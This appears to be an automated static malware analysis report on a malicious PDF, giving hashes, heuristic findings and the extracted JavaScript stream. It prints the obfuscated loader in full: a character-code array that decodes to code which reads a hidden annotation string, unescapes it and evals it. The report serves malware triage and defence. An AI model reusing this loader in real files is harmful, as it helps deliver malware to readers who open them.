Malicious PDF — malware analysis report

Static analysis result for SHA-256 c61e9e8842d1f540…

MALICIOUS

PDF

12.8 KB First seen: 2026-05-07
MD5: 1c76fb731bcbae11a626a9269e4fd2d0 SHA-1: f7b4931a0208fda8938f6803a60a6a1439459238 SHA-256: c61e9e8842d1f540d8c43b63f605c9ca2ff49ff8f75649e623ce8ad2ce4d1da6
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged by a machine learning classifier as malicious with high confidence. Static analysis revealed embedded JavaScript, which is often used to download and execute further stages of malware. The JavaScript stream itself is obfuscated, indicating an attempt to evade detection. The primary attack pattern involves leveraging this obfuscated script to deliver a malicious payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
                result +=  String.fromCharCode(list[i] - jump);
            }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x107 1418 bytes
SHA-256: d2233358777d1aaed8efae57eefbdc7f0ddc83b20eb36c734bc8ee388da7c061
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "118,97,114,32,122,59,32,118,97,114,32,121,59,32,10,32,118,97,114,32,104,32,61,32,39,101,100,118,111,97,122,99,108,39,59,32,10,9,32,32,122,32,61,32,121,32,61,32,97,112,112,91,104,46,114,101,112,108,97,99,101,40,47,91,97,118,105,101,122,106,108,93,47,103,44,32,39,39,41,93,59,32,10,9,32,118,97,114,32,116,109,112,32,61,32,39,115,121,110,99,65,69,69,111,116,83,99,97,110,39,59,32,121,32,61,32,48,59,32,9,32,122,91,116,109,112,46,114,101,112,108,97,99,101,40,47,69,47,103,44,32,39,110,39,41,93,40,41,59,32,121,32,61,32,122,59,32,118,97,114,32,112,32,61,32,121,46,103,101,116,65,110,110,111,116,115,32,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,32,32,32,118,97,114,32,115,32,61,32,112,91,48,93,59,32,115,32,61,32,115,91,39,115,117,98,39,32,43,32,39,106,101,99,116,39,93,59,32,118,97,114,32,32,108,32,61,32,32,32,115,46,114,101,112,108,97,99,101,40,47,91,122,104,121,103,93,47,103,44,32,39,37,39,41,32,32,59,32,115,32,61,32,32,117,110,101,115,99,97,112,101,32,40,32,108,32,32,41,32,59,97,112,112,91,104,46,114,101,112,108,97,99,101,40,47,91,99,122,111,109,100,113,115,93,47,103,44,32,39,39,41,93,40,32,115,41,59,10,32,115,32,61,32,32,39,39,59,32,122,32,32,61,32,49,59"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }